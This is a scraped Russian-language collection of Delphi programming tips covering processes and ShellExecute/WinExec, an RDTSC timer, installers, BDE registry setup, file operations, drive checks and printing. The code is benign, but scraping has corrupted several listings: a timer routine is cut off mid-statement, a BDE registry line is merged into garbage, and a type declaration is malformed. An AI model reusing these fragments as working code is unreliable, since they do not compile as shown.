Res[col] := round(y * k + z1 - y1 * k); End; Bm1.Canvas.Pixels[x,y] := RGB(res[0], res[1], res[2]); End; Form1.Caption := IntToStr(round(100 * y / bm1.Height)) + '%'; Application.ProcessMessages; If Application.Terminated then Exit; End; Bm := bm1; End; Const. Dx = 5.5; Dy = 5.5; Procedure TForm1.Button1Click(Sender: TObject); Const. W = 50; H = 50; Var. Bm: TBitMap; Can: TCanvas; Begin. Bm := TBitMap.Create; Can := TCanvas.Create; Can.Handle := GetDC(0); Bm.Width := w; Bm.Height := h; Bm.Canvas.CopyRect(Bounds(0, 0, w, h), can, Bounds(0, 0, w, h)); ReleaseDC(0, can.Handle); Interpolate(bm, dx, dy); Form1.Canvas.Draw(0, 0, bm); Form1.Caption := 'x: ' + FloatToStr(dx) + ' y: ' + FloatToStr(dy) + ' width: ' + IntToStr(w) + ' height: ' + IntToStr(h); End; Procedure TForm1.Button2Click(Sender: TObject); Var. Bm: TBitMap; Begin. If OpenDialog1.Execute then. Bm.LoadFromFile(OpenDialog1.FileName); Interpolate(bm, dx, dy); Form1.Canvas.Draw(0, 0, bm); Form1.Caption := 'x: ' + FloatToStr(dx) + ' y: ' + FloatToStr(dy) + ' width: ' + IntToStr(bm.Width) + ' height: ' + IntToStr(bm.Height); End; Эта программа строит заданные графики, используя модуль Recognition. От констант left и right зависит диапазон x, от YScale зависит масштаб по y, а от k зависит качество прорисовки. Uses Recognition; Procedure TForm1.Button1Click(Sender: TObject); Const. Left = -10; Right = 10; YScale = 50; K = 10; Var. I: integer; Num: extended; S: String; XScale: single; Col: TColor; Begin. S := Edit1.Text; Preparation(s, ['x']); XScale := PaintBox1.Width / (right - left); Randomize; Col := RGB(random(100), random(100), random(100)); For i := round(left * XScale * k) to round(right * XScale * k) do. If recogn(ChangeVar(s, 'x', i / XScale / k), Num) then. PaintBox1.Canvas.Pixels[round(i / k - left * XScale), Round(PaintBox1.Height / 2 - Num * YScale)] := col; End;

Процессы, потоки и функции ShellExecute и WinExec.

Устройство Windows. Процессы, потоки и функции ShellExecute и WinExec. Часть 1.

По просьбам общественности и была написана эта статья.

Действительно невозможно профессионально разрабатывать многопоточные программы,

Не зная, что такое процессы, потоки, нити и синхронизация (надеюсь посвятить этому одну из следующих статей) и,

Не представляя, как они работают. В статье за основу взята операционная система Windows 2000.

Так же в этой статье будут подробно рассмотрены различные методы запуска новых процессов (программ).

Главным обстоятельством является то, что почти все современные ОС многозадачны.

ОС Windows 2000 не является исключением, в ней может работать одновременно несколько программ.

Любая программы имеет, по крайней мере, одним программным потоком,

Который в свою очередь может создавать еще несколько потоков и т.д.

Но, не смотря на то, что ОС, называется "многозадачной" в конкретный момент времени.

Выполняется только один поток. что вы не замечаете, как ОС переключается между потоками.

Не стоит забывать, что, распределяя процессорное время, операционная система Windows,

Имеет дело именно с потоками, а не с процессами, которым эти потоки принадлежат.

Запуская программу в Windows, вы создаете процесс.

И в этом нет ничего удивительного, потому что в других операционных системах происходит почти то же самое.

Однако все же процесс в Windows, например, отличается от процесса в Unix.

А все дело в том, что в Windows процесс владеет открытыми файлами, оперативной памятью и другими ресурсами.

Для каждого процесса (программы) Windows выделяет виртуальное адресное пространство объемом 2 Гб.

Для адресации этого пространства используются обычные 32-битные указатели,

Которые представляют собой числа от 0 до 2 Г. Но процесс в Windows не исполняется.

Исполняется программный поток. Поток - это последовательность машинных команд, которые Windows.

Воспринимает, как единое целое (набор регистров процессора).

Поток обладает указателем на команду, которая в данный момент выполняется,

И указателем на стек где хранятся локальные переменные потока.

Так в чем же разница спросите вы, между процессом и потоком, если запущенная программа имеет только один,

Программный поток то разницы практически никакой. Однако поток может создавать другие потоки.

А те потоки могут создавать еще потоки. Два процесса ни могут иметь общие ресурсы,

Если не используют специальные механизмы межпроцессорного взаимодействия.

В противоположность этому все потоки, которые принадлежат одному процессу,

Имею доступ ко всем ресурсам этого процесса.

Зачем процессу несколько потоков? Потоки могут выполнять какие-то действия параллельно.

Основной программе (в фоновом режиме). Потоки удобно применять, если нежелательна.

Блокировка основной программы определенной функцией. Например, в то время, как поток.

Осуществляет сложные математические вычисления, в главной программе происходит подготовка.

Следующего задания и ввод параметров.

Если вам нужно запустить новую программу, вам нужно создать новый процесс.

Для этой цели служит системный вызов CreateProcess.

Однако использование этого вызова не очень удобно, потому что приходится задавать множество аргументов,

Однако в некоторых случаях без него не обойтись.

Если же вам надо просто запустить программу или открыть файл,

То для этого подходят мене сложные вызовы.

Легче всего использовать WinExec. Однако Microsoft не рекомендует его использование,

А предлагает пользоваться CreateProcess.

Но для выполнения тех или иных задач он вполне подходит.

Почему же нежелателен вызов WinExec дело все в том, что фактически он содержит обращение.

К еще одному устаревшему системному вызову LoadModule, который обращается к CreateProcess.

Со значениями аргументов по умолчанию. При обращении к WinExec необходимо задать полный путь.

К программе или имя EXE файла, расположенного в пути поиска, а также способ.

Отображения программы (константы SW_HIDE, SW_SHOW и т.д. см. Таблица 2).

Если вызов функции произошел успешно, то WinExec вернет дескриптор новой.

Программы (который не может быть меньше 32, т.е. если WinExec возвращает число меньше 32,

То вызов привел к ошибке, коды ошибок см. Таблица 1).

Таблица 1.

0 Системе не хватает ресурсов.

ERROR_BAD_FORMAT Некорректный EXE файл (не Win32 EXE файл или EXE файл поврежден).

ERROR_FILE_NOT_FOUND Указанный файл не найден.

ERROR_PATH_NOT_FOUND Указанный путь не найден.

Еще один простой вызов это - ShellExecute. Этот вызов во многом напоминает WinExec,

Однако он поддерживает обработку типов файлов, зарегистрированных в Windows.

Например, если вы с помощью ShellExecute вы попробуете запустить файл с расширением .BMP,

То буде запущена программа Paint или любая другая, которая использует для просмотра графических файлов.

В качестве аргументов ShellExecute принимает дескриптор окна (если есть необходимость в сообщениях об ошибках),

Строку, такую как open (открыть), print (напечатать) и explore (исследовать), можно в качестве этой строки передать NULL,

Тогда файл указанный вами будет открыт (open). Так же ShellExecute необходимо сообщить имя файла и любые параметры.

Командной строки (чаще всего NULL), и оставшиеся два аргумента это текущий каталог и константа функции.

ShowWindow (как и в WinExec см. Таблица 2).

Таблица 2.

SW_HIDE Окно в скрытом режиме.

SW_MAXIMIZE Окно максимального размера.

SW_MINIMIZE Окно находится в свернутом виде, активируется следующее верхнее окно в Z последовательности.

SW_RESTORE Активирует и показывает окно. Если окно свернуто или развернуто, Windows восстанавливает его.

К первоначальному размеру и позиции. Приложение должно определить этот флаг при восстановлении свернутого окна.

SW_SHOW Активирует окно и выводит его в текущих размерах и позиции.

SW_SHOWMAXIMIZED Активирует и показывает окно в развернутом виде.

SW_SHOWMINIMIZED Активирует и показывает окно в свернутом виде.

SW_SHOWMINNOACTIVE Отображает окно в свернутом виде. Активное окно остается активным.

SW_SHOWNA Отображает окно в текущем состоянии. Активное окно остается активным.

SW_SHOWNORMAL Активирует и показывает окно. Если окно свернуто или развернуто,

Windows восстанавливает его к первоначальному размеру и позиции.

Приложение должно определить этот флаг при показе окна в первый раз.

Значение, которое возвращает ShellExecute такое же, как и у WinExec. Функцию ShellExecute можно использовать,

Например, для открытия корневого каталога диска С:

ShellExecute(hWnd, 'open', 'c:\', nil, nil, SW_SHOWNORMAL);

Вы можете заменить строку "open" на "explore" и в качестве третьего параметра указать любой каталог,

В этом случае указанная вами папка откроется в Проводнике (Explorer).

Так же существует системный вызов ShellExecuteEx, который фактически является полным аналогом.

ShellExecute, однако в качестве аргумента он принимает указатель на структуру, поля которой во многом.

Совпадают с аргументами ShellExecute. Кроме этого после завершения своей работы ShellExecuteEx помещает.

В одно из полей этой структуры дескриптор запущенной программы.

Применение этих вызовов довольно просто. Пример программы использующей WinExec и ShellExecute.

Приведен в листинге 1.

Листинг 1.

Code: Uses ShellAPI; … Var. H: hwnd; Begin. // Используем ShellExecute. If ShellExecute(h, 'open', 'readme.txt', nil, nil, SW_SHOW) < 32 then. Begin. ShowMessage('Немогу выполнить ShellExecute !'). End; // Используем WinExec. If WinExec('Notepad c:\config.sys', SW_SHOW) < 32 then. Begin. ShowMessage('Немогу выполнить WinExec !'). End; End;

Скорость работы процессора, точный таймер.

Данная тема уже обсуждалась, но у меня есть своя реализация сабжа. Начиная с Pentium MMX, Intel ввели в процессор счетчик тактов на 64 бита (Присутствует точно и в К6). Для того чтобы посмотреть на его содержание, была введена команда "rdtsc" (подробное описание в интеловской мануале). Эту возможность можно использовать для реализации сабжа.

Поскольку Дельфи не в курсе насчет rdtsc, то пришлось юзать опкод (0F31).

Привожу простенький примерчик юзания, Вы уж извините - немножко кривоват получился, да и ошибка компилятора какая-то вылезла :( (V4 Bld5.104 Upd 2). Кому интересно, поделитесь своими соображениями по этому поводу. Особенно интересует работа в режиме когда меняется частота процессора (Duty Cycle, Standby).

Code: // (C) 1999 ISV. Unit Unit1;interfaceuses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls, Buttons, ExtCtrls; Type TForm1 = class(TForm). Label1: TLabel; Timer1: TTimer; Label2: TLabel; Label3: TLabel; Button1: TButton; Button2: TButton; Label4: TLabel; Procedure Timer1Timer(Sender: TObject); Procedure FormActivate(Sender: TObject); Procedure Button1Click(Sender: TObject); Procedure Button2Click(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. Counter:integer; //Счетчик срабатывания таймера. Start:int64; //Начало роботы. Previous:int64; //Предыдущее значение. PStart,PStop:int64; //Для примера выч. времени. CurRate:integer; //Текущая частота проца. Function GetCPUClick:int64; Function GetTime(Start,Stop:int64):double; End; Var Form1: TForm1;implementation{$R *.DFM}. // Функция работает на пнях ММХ или выше а. // также проверялась на К6. Function TForm1.GetCPUClick:int64; Begin. Asm db 0fh,31h. // Опкод для команды rdtsc mov dword ptr result,eax mov dword ptr result[4],edx. End; // Не смешно :(. Без ?той штуки. // Компайлер выдает Internal error C1079. Result:=Result; End; // Время в секундах между старт и стоп. Function TForm1.GetTime(Start,Stop:int64):double; Begin. Try result:=(Stop-Start)/CurRate except result:=0; End; End; // Обработчик таймера считает текущую частоту, выводит ее, а также. // усредненную частоту, текущий такт с момента старта процессора. // При постоянной частоте процессора желательно интервал братьпобольше. // 1-5с для точного прощета частоты процессора. Procedure TForm1.Timer1Timer(Sender: TObject); Var i:int64; Begin. I:=GetCPUClick; If Counter=0 then Start:=i else. Begin. Label2.Caption:=Format('Частота общая:%2f',[(i-Start)/(Counter*Timer1.Interval*1000)]); Label3.Caption:=Format('Частота текущая:%2f',[(i-Previous)/(Timer1.Interval*1000)]); CurRate:=Round(((i-Previous)*1000)/(Timer1.Interval)); End; Label1.Cap примера. Procedure TForm1.Button1Click(Sender: TObject); Begin. PStart:=GetCPUClick; End; // Останавливаем отсчет времени и показуем соко. // прошло секунд. Procedure TForm1.Button2Click(Sender: TObject); Begin. PStop:=GetCPUClick; Label4.Caption:=Format! ('Время между нажатиями:%gсек',[GetTime(PStart,PStop)]). End; End.

В основном Неlр'е в Delphi не работает индекс по Win32?

- в /help/delphi3.cfg добавить строку типа.

:index Win32=Win32.hlp.

Она должна быть добавлена перед строкой.

:Link win32.hlp.

- стереть delphi3.gid.

- запустить Help и получать удовольствие.

В delphi3.cnt тоже нужно строчку добавить:

:include win32.cnt.

©Drkb::00003.

Взято с сайта http://blackman.wp-club.net/

Delphi 4 виснут при запуске. Видеокарта S3 Virge?

Code: REGEDIT4. [HKEY_CURRENT_CONFIG\Display\Settings]. "BusThrottle"="on".

Если не помогает, то попробуйте добавить в system.ini:

Installer.

Этапы инсталляции.

Дальше.

Запомните одно важное правило: инсталлировать программу можно с человеческих носителей.

(винчестеры, компакт-диски, ZIP-диски) и с дискет :) Если вы собираетесь написать инсталляцию.

С дискет, которая явно не поместиться на одну дискету, то у вас есть шанс хорошо провести время :).

Как вы знаете, Windows сбрасывает ненужную ей в данный момент информацию на диск.

Это правильно, но это касается данных. Программы никогда на диск не сбрасываются,

Поскольку в Windows сегмент кода программы не может быть изменён. Когда Windows.

Нужна память и ей под руку подворачивается ваша программа, она её просто выкидывает — и всё.

Когда ваша программа снова становиться нужна, Windows снова загружает её из выполняемого файла.

Эта в высшей степени корректная техника перестаёт работать при инсталляции с дискет.

Ваша программа, например, копирует четвёртую дискету и тут выясняется, что у неё (у программы).

Пропал кусок кода. Какие проблемы? — Windows пытается прочитать файл a:\setup.exe.

И естественно его не находит (на четвёртой-то дискете? откуда?).

Только не паникуйте! Эта проблема давно решена, иначе вы не могли бы установить.

На свой компьютер ни одной программы! Всё очень просто — программа инсталляции копирует.

Себя и все необходимые файлы во временный каталог на жёсткий диск и перезапускает.

Себя с жёсткого диска. Это и есть первый этап инсталляции.

В зарубежных программах он обычно называется "Prepare to install".

Ещё раз обратите внимание на то, что совсем не обязательно выполнять этот этап,

Если вы инсталлируетесь не с дискет, или если ваша инсталляция умещается на одну дискету.

На втором этапе программа инсталляции обычно показывает пользователю несколько страшных.

Предупреждений; что-то типа "если вы не заплатите за эту программу, то сидеть вам в тюрьме три пожизненных срока".

Я слышал, что некоторые пользователи со слабым сердецем даже умирали за компьютером от таких угроз :).

Реализация этого этапа до идиотизма тривиальна, поэтому мы и не будем на нём останавливаться подробно.

Следущий этап — третий. Здесь программа установки дотошно выспрашивает у пользователя кучу.

Всяких важных данных: имя пользователя и его огранизацию, тип установки, куда будем ставить,

Как будет называться группа программ и так далее. На этом этапе нам встретятся некоторые технические.

Трудности, но их несложно обойти.

Четвёртый этап — копирование. Конечно, это не очень сложно, но некоторые проблемы у нас всё-таки возникнут.

Во-первых, надо проверить наличие свободного места на целевом диске. Во-вторых, надо удостовериться,

Что у нас есть доступ к нужному каталогу. В-третьих, надо проверять, нет ли уже такого файла...

Вы ещё не передумали писать программу инсталляции?

Следующий, пятый, этап — настройка системного реестра (registry).

Достаточно тривиальная процедура, правда, при инсталляции большого продукта, записывать придёться очень много.

Предпоследний, шестой, этап, заключается в создании группы программ в меню "Пуск".

Или, возможно, вы захотите вынести ярлык на рабочий стол.

Наконец, финальная часть включает демонстрацию нескольких файлов (например, readme),

Затем онлайновую регистрацию (подробно на ней я останавливаться не буду) и последнее.

Сообщение "Инсталляция успешно завершена".

Теперь мы можем перейти к подробному рассмотрению этапов. Сейчас вы узнаете, как это делается :).

Копирование программы во временный каталог.

Code: Program Setup; Uses. Windows, SysUtils; Const. ReRunParameter = '/install_from_temp_directory'; Var. TempPath: array [0..MAX_PATH] of Char; SrcPath: String; Begin. If ParamStr(1) = ReRunParameter then. SrcPath := ParamStr(2). Else. If GetDriveType(PChar(ParamStr(0)[1] + ':\')) = DRIVE_REMOVABLE then. Begin. // Если программа была запущена без ключа и с дискеты, то. // копируем её во временный каталог и перезапускам. // Текущее приложение завершаем. GetTempPath(MAX_PATH, TempPath); // Добавлям к пути временного каталога символ '\', если его там нет. If (StrLen(TempPath) > 0) and (TempPath[StrLen(TempPath)] <> '\') then. StrCat(TempPath, '\'); // Копируем файл через вызов функции CopyFile из WinAPI. CopyFile(PChar(ParamStr(0)), PChar(String(TempPath) + ExtractFileName(ParamStr(0))), False); // Запускаем файл с двумя параметрами. WinExec(PChar(String(TempPath) + ExtractFileName(ParamStr(0)) + ' ' + ReRunParameter + ' ' + ExtractFilePath(ParamStr(0))), CmdShow); Exit; End. Else. SrcPath := ExtractFilePath(ParamStr(0)); // Здесь начинается программа инсталляции. // Переменная SrcPath показывает нам, откуда надо копировать файлы. End.

Как получить тип файла?

Code: Uses. ShellAPI; Function MrsGetFileType(const strFilename: string): string; Var. FileInfo: TSHFileInfo; Begin. FillChar(FileInfo, SizeOf(FileInfo), #0); SHGetFileInfo(PChar(strFilename), 0, FileInfo, SizeOf(FileInfo), SHGFI_TYPENAME); Result := FileInfo.szTypeName; End; // Beispiel: // Example: Procedure TForm1.Button1Click(Sender: TObject); Begin. ShowMessage('File type is: ' + MrsGetFileType('c:\autoexec.bat')); End;

Хинт любой формы.

Borland Delphi 4, Руководство разработчика", К. Пачеко и С.

Тейксер.

З.Ы. Пристегните (uses CoolHint) к любой форме с hint'ами и любуйтесь.

Подсказками.

Code: Unit CoolHint. Interface. Uses Windows, Classes, Controls, Forms, Messages, Graphics. Type. TddgHintWindow = class(THintWindow). Private. FRegion: THandle. Procedure FreeCurrentRegion. Public. Destructor Destroy override. Procedure ActivateHint(Rect: TRect const AHint: string);override ; Procedure Paint; override ; Procedure CreateParams(var Params: TCreateParams); override ; End. Implementation. Destructor TddgHintWindow.Destroy. Begin. FreeCurrentRegion; Inherited Destroy; End. Procedure TddgHintWindow.CreateParams(var Params: TCreateParams). { We need to remove the border created on the Windows API-level }. { when the window is created. }. Begin. Inherited CreateParams(Params) ; Params.Style := Params.Style and not ws_Border // remove border ; End; Procedure TddgHintWindow.FreeCurrentRegion. { Regions, like other API objects, should be freed when you are }. { through using them. Note, however, that you cannot delete a }. { region which is currently set in a window, so this method sets }. { the window region to 0 before deleting the region object. }. Begin. If FRegion <>0 then. Begin // if Region is alive... SetWindowRgn(Handle, 0, True) // set win region to 0. DeleteObject(FRegion) // FRegion := 0 // zero out field. End. End. Procedure TddgHintWindow.ActivateHint(Rect: TRect const AHint: string); { Called when the hint is activated by putting the mouse pointer }. { above a control. }. Begin. With Rect do. Right := Right + Canvas.TextWidth('WWWW') // add some slop. BoundsRect := Rect. FreeCurrentRegion. With BoundsRect do. { Create a round rectangular region to display the hint window }. FRegion := CreateRoundRectRgn(0, 0, Width, Height, Width, Height). If FRegion <>0 then. SetWindowRgn(Handle, FRegion, True) // set win region. Inherited ActivateHint(Rect, AHint) // call inherited. End. Procedure TddgHintWindow.Paint. { This method gets called by the WM_PAINT handler. It is }. { responsible for painting the hint window. }. Var R: TRect. Begin. R := ClientRect // get bounding rectangle. Inc(R.Left, 1) // move left side slightly. Canvas.Font.Color := clInfoText // set to proper color. { paint string in the center of the round rect }. DrawText(Canvas.Handle, PChar(Caption), Length(Caption), R, DT_NOPREFIX or DT_WORDBREAK or DT_CENTER or DT_VCENTER). End. Var. OldHintClass: THintWindowClass. Function SetNewHintClass(AClass: THintWindowClass): THintWindowClass. Var. DoShowHint: Boolean. Begin. Result := HintWindowClass // return value is old hint. Window. DoShowHint := Application.ShowHint. If DoShowHint then. Application.ShowHint := False // destroy old hint window. HintWindowClass := AClass // assign new hint window. If DoShowHint then. Application.ShowHint := True // create new hint window. End. Initialization. OldHintClass := SetNewHintClass(TddgHintWindow). Finalization. SetNewHintClass(OldHintClass). End.

Как проиграть файл не используя MediaPlayer ?

PlaySound('c:\....\*.wav',0,SND_FILENAME).

©Drkb::03596.

Взято с сайта http://blackman.wp-club.net/

Install BDE программы.

Периодически муссируются вопросы типа 'Как установить BDE?' и т.п.

Предлагаю, как пример возможного решения проблемы, след. программу .

Code: Program InstallPrfSt; { Программа иллюстрирует, как установить BDE с поддержкой PARADOX 7.0. На "чистой машине" и создать алиас. Пример использования в качестве простейшего инсталлятора для программы. C:\MyDir\MyProg.exe. 1.Создайте каталог C:\MyDir\BDE и скопируйте в него след. файлы: CHARSET.BLL. OTHER.BLL. IDAPI32.CFG. BLW32.DLL. IDAPI32.DLL. IDBAT32.DLL. IDPDX32.DLL. IDR20009.DLL. IDSQL32.DLL. BDEADMIN.EXE - по вкусу, т.к. необходимым не является. 2.Измените значение константы AliasName на имя необходимого вам алиаса. 3.Откомпиллируйте и запустите эту программу из каталога C:\MyDir. ВНИМАНИЕ!!! Если на машине уже установлено BDE, то перед экспериментами. Сохраните (на всякий случай) след. ключи из реестра: [HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Database Engine] и. [HKEY_LOCAL_MACHINE\SOFTWARE\Borland\BLW32]. Замечания, предложения по улучшению приветствуются. Счастливо, Константин Кочедыков / kostya@roadtech.saratov.su / }. {$APPTYPE CONSOLE}. Uses. Windows, BDE, Registry; Const. AliasName: string = 'PrefStat'; Var. R: DBIResult; Path: string; Procedure WriteString(S1: string); Begin. S1 := S1 + #0; AnsiToOem(@S1[1], @S1[1]); Writeln(S1); End; Function GetExePath(S1: string): string; Var. I, K: Integer; S: string; Begin. K := 1; S := ''; For I := Length(S1) downto 1 do. Begin. If S1[I] = '\' then. Begin. K := I; Break; End; End; For I := 1 to K - 1 do. S := S + S1[I]; Result := S; End; Procedure InstallBde; Const. Bor: string = 'SOFTWARE\Borland'; Var. A: TRegistry; BPath: string; Begin. BPath := PATH + '\BDE'; A := TRegistry.Create; With a do. Begin. RootKey := HKEY_LOCAL_MACHINE; OpenKey(Bor + '\Database Engine', True); WriteString('CONFIGFILE01', BPath + '\IDAPI32.CFG'); WriteString('DLLPATH', BPath); WriteString('RESOURCE', '0009'); WriteString('SaveConfig', 'WIN32'); WriteString('UseCount', '2'); CloseKey; OpenKey(Bor + '\BLW32', True); WriteString('BLAPIPATH', BPath); WriteString('LOCALE_LIB3', BPath + '\OTHER.BLL'); WriteString('LOCALE_LIB4', BPath + '\CHARSET.BLL'); CloseKey; OpenKey(Bor + '\Database Engine\Settings\SYSTEM\INIT', True); WriteString('AUTO ODBC', 'FALSE'); WriteString('DATA REPOSITORY', ''); WriteString('DEFAULT DRIVER', 'PARADOX'); WriteString('LANGDRIVER', 'ancyrr'); WriteString('LOCAL SHARE', 'FALSE'); WriteString('LOW MEMORY USAGE LIMIT', '32'); WriteString('MAXBUFSIZE', '2048'); WriteString('MAXFILEHANDLES', '48'); WriteString('MEMSIZE', '16'); WriteString('MINBUFSIZE', '128'); WriteString('SHAREDMEMLOCATION', ''); WriteString('SHAREDMWriteString(' SQLQRYMODE', ''); WriteString('SYSFLAGS', '0'); WriteString('VERSION', '1.0'); CloseKey; OpenKey(Bor + '\Database Engine\Settings\SYSTEM\FORMATS\DATE', True); WriteString('FOURDIGITYEAR', 'TRUE'); WriteString('LEADINGZEROD', 'FALSE'); WriteString('LEADINGZEROM', 'FALSE'); WriteString('MODE', '1'); WriteString('SEPARATOR', '.'); WriteString('YEARBIASED', 'TRUE'); CloseKey; OpenKey(Bor + '\Database Engine\Settings\SYSTEM\FORMATS\NUMBER', True); WriteString('DECIMALDIGITS', '2'); WriteString('DECIMALSEPARATOR', ','); WriteString('LEADINGZERON', 'TRUE'); WriteString('THOUSANDSEPARATOR', ' '); CloseKey; OpenKey(Bor + '\Database Engine\Settings\SYSTEM\FORMATS\TIME', True); WriteString('AMSTRING', 'AM'); WriteString('MILSECONDS', 'FALSE'); WriteString('PMSTRING', 'PM'); WriteString('SECONDS', 'TRUE'); WriteString('TWELVEHOUR', 'TRUE'); CloseKey; OpenKey(Bor + '\Database Engine\Settings\REPOSITORIES', True); CloseKey; OpenKey(Bor + '\Database Engine\Settings\DRIVERS\PARADOX\INIT', True); WriteString('LANGDRIVER', 'ancyrr'); WriteString('TYPE', 'FILE'); WriteString('VERSION', '1.0'); CloseKey; OpenKey(Bor + '\Database Engine\Settings\DRIVERS\PARADOX\TABLE. CREATE',True); WriteString('BLOCK SIZE', '4096'); WriteString('FILL FACTOR', '95'); WriteString('LEVEL', '7'); WriteString('STRICTINTEGRTY', 'TRUE'); CloseKey; End; A.Free; End; Begin. Path := GetExePath(ParamStr(0)); R := dbiInit(nil); If R <> DBIERR_NONE then. Begin. WriteString('Инициализация BDE ...'); InstallBDE; End; R := dbiInit(nil); If R = DBIERR_NONE then. Begin. WriteString('Инициализация BDE прошла успешно'); DbiDeleteAlias(nil, PChar(AliasName)); R := DbiAddAlias(nil, PChar(AliasName), szPARADOX, PChar('PATH:' + Path + '\DB'), True); If R = DBIERR_NONE then. WriteString('Псевдоним "' + AliasName + '" создан'). Else. WriteString('Ошибка создания псевдонима "' + AliasName + '"'); R := DbiCfgSave(nil, nil, Bool(-1)); If R = DBIERR_NONE then. WriteString('Файл конфигурации сохранён'). Else. WriteString('Ошибка сохранения файла конфигурации'); DbiExit; End. Else. WriteString('Ошибка инициализации BDE'); End.

Файловые операции средствами ShellAPI.

Файловые операции средствами ShellAPI.

В данной статье мы подробно рассмотрим применение функции SHFileOperation.

Function SHFileOperation(const lpFileOp: TSHFileOpStruct): Integer; stdcall;

Данная функция позволяет производить копирование, перемещение,

Переименование и удаление (в том числе и в Recycle Bin) объектов файловой системы.

Функция возвращает 0, если операция выполнена успешно,

И ненулевое значение в противном :-) случае.

Функция имеет единственный аргумент - структуру типа TSHFileOpStruct,

В которой и передаются все необходимые данные.

Эта структура выглядит следующим образом:

Code: _SHFILEOPSTRUCTA = packed record. Wnd: HWND; WFunc: UINT; PFrom: PAnsiChar; PTo: PAnsiChar; FFlags: FILEOP_FLAGS; FAnyOperationsAborted: BOOL; HNameMappings: Pointer; LpszProgressTitle: PAnsiChar; { используется только при установленном флаге FOF_SIMPLEPROGRESS }. End;

Как получить список установленных модемов в Win95/98?

Code: Unit PortInfo; Interface. Uses Windows, SysUtils, Classes, Registry; Function EnumModems: TStrings; Implementation. Function EnumModems: TStrings; Var. R: TRegistry; S: ShortString; N: TStringList; I: integer; J: integer; Begin. Result := TStringList.Create; R := TRegistry.Create; Try. With R do. Begin. RootKey := HKEY_LOCAL_MACHINE; If OpenKey('\System\CurrentControlSet\Services\Class\Modem', False) then. If HasSubKeys then. Begin. N := TStringList.Create; Try. GetKeyNames(N); For i := 0 to N.Count - 1 do. Begin. Closekey; { + }. Openkey('\System\CurrentControlSet\Services\Class\Modem', false); { + }. OpenKey(N[i], False); S := ReadString('AttachedTo'); For j := 1 to 4 do. If Pos(Chr(j + Ord('0')), s) > 0 then. Break; Result.AddObject(ReadString('DriverDesc'), TObject(j)); CloseKey; End; Finally. N.Free; End; End; End; Finally. R.Free; End; End; End.

©Drkb::01465.

Взято с сайта http://blackman.wp-club.net/

Как узнать, находится ли дискета в дисководе?

Code: Type. TDriveState(DS_NO_DISK, DS_UNFORMATTED_DISK, DS_EMPTY_DISK, DS_DISK_WITH_FILES); Function DriveState(driveletter: Char): TDriveState; Var. Mask: string[6]; SRec: TSearchRec; OldMode: Cardinal; Retcode: Integer; Begin. OldMode: = SetErrorMode(SEM_FAILCRITICALERRORS); Mask := '?:\*.*'; Mask[1] := driveletter; {$I-} { не возбуждаем исключение при неудаче }. Retcode := FindFirst(mask, faAnyfile, SRec); FindClose(SRec); {$I+}. Case retcode of. 0: Result := DS_DISK_WITH_FILES; { обнаружен по крайней мере один файл }. -18: Result := DS_EMPTY_DISK; { никаких файлов не обнаружено, но ok }. -21: Result := DS_NO_DISK; { DOS ERROR_NOT_READY }. Else. Result := DS_UNFORMATTED_DISK; { в моей системе значение равно -1785!}. End; SetErrorMode(oldMode); End; { DriveState }.

Я тестировал код под Win NT 3.5, так что проверьте его на ошибки в ситуациях, когда дискета отсутствует или неотформатирована под Win 3.1 и WfW 3.11, если, конечно, это необходимо.

Ревизия для Win95:

Code: Case RetCode of. 0: Result := DS_DISK_WITH_FILES; -18: Result := DS_EMPTY_DISK; Else. Result := DS_NO_DISK; End;

©Drkb::01376.

Взято с http://delphiworld.narod.ru.

Code: Function DiskInDrive(const Drive: char): Boolean; Var. DrvNum: byte; EMode: Word; Begin. Result := false; DrvNum := ord(Drive); If DrvNum >= ord('a') then. Dec(DrvNum, $20); EMode := SetErrorMode(SEM_FAILCRITICALERRORS); Try. If DiskSize(DrvNum - $40) <> -1 then. Result := true. Else. Messagebeep(0); Finally. SetErrorMode(EMode); End; End;

...можно для пущей функциональности добавить ряд строк:

Code: Function DiskInDrive(const Drive: char): Boolean; Var. DrvNum: byte; EMode: Word; Begin. Result := true; // было false. DrvNum := ord(Drive); If DrvNum >= ord('a') then. Dec(DrvNum, $20); EMode := SetErrorMode(SEM_FAILCRITICALERRORS); Try. While DiskSize(DrvNum - $40) = -1 do. Begin // при неудаче выводим диалог. If (Application.MessageBox('Диск не готов...' + chr(13) + chr(10) + 'Повторить?', PChar('Диск ' + UpperCase(Drive)), mb_OKCANCEL + Mb_iconexclamation {IconQuestion}) = idcancel) then. Begin. Result := false; Break; End; End; Finally. SetErrorMode(EMode); End; End;

Автор: Галимарзанов Фанис.

©Drkb::01377.

Взято с http://delphiworld.narod.ru.

Как отследить выход мыши за пределы формы?

Можно через события OnMouseEnter/OnMouseLeave:

Code: TYourObject = class(TAnyControl). ... Private. FMouseInPos : Boolean; Procedure CMMouseEnter(var AMsg: TMessage); message CM_MOUSEENTER; Procedure CMMouseLeave(var AMsg: TMessage); message CM_MOUSELEAVE; ... End; Implementation. Procedure TYourObject.CMMouseEnter(var AMsg: TMessage); Begin. FMouseInPos := True; Refresh; End; Procedure TYourObject.CMMouseLeave(var AMsg: TMessage); Begin. FMouseInPos := False; Refresh; End;

ICO ---> BMP.

Code: Var. Icon : TIcon; Bitmap : TBitmap; Begin. Icon := TIcon.Create; Bitmap := TBitmap.Create; Icon.LoadFromFile('c:\picture.ico'); Bitmap.Width := Icon.Width; Bitmap.Height := Icon.Height; Bitmap.Canvas.Draw(0, 0, Icon); Bitmap.SaveToFile('c:\picture.bmp'); Icon.Free; Bitmap.Free; End;

Как выдвинуть дверцу CD-ROM?

Code: MciSendString('Set cdaudio Door Open Wait', nil, 0, handle); MciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0);

Способы уменьшения размера Exe файлов полученных с помощью Дельфи?

Generally, EXE files created with Delphi are larger than EXE files created with another programming language. The reason is the VCL. (Sure, VCL has many advantages...).

Работа с принтером.

Delphi имеет стандартный объект для доступа к принтеру - TPRINTER,

Находящийся в модуле PRINTERS. В этом модуле имеется.

Переменная Printer:Tpinter, что избавляет от необходимости описывать свою.

Он позволяет выводить данные на печать и управлять процессом печати.

Правда, в некоторых версиях Delphi 1 он имеет "глюк" - не работают.

Функции Draw и StrethDraw. Но эта проблема поправима - можно.

Использовать функции API. Далее приведены основные поля и методы объекта Printers :

PROPERTY.

Aborted:boolean - Показывает, что процесс печати прерван.

Canvas:Tcanvas - Стандартный Canvas, как у любого графического объекта.

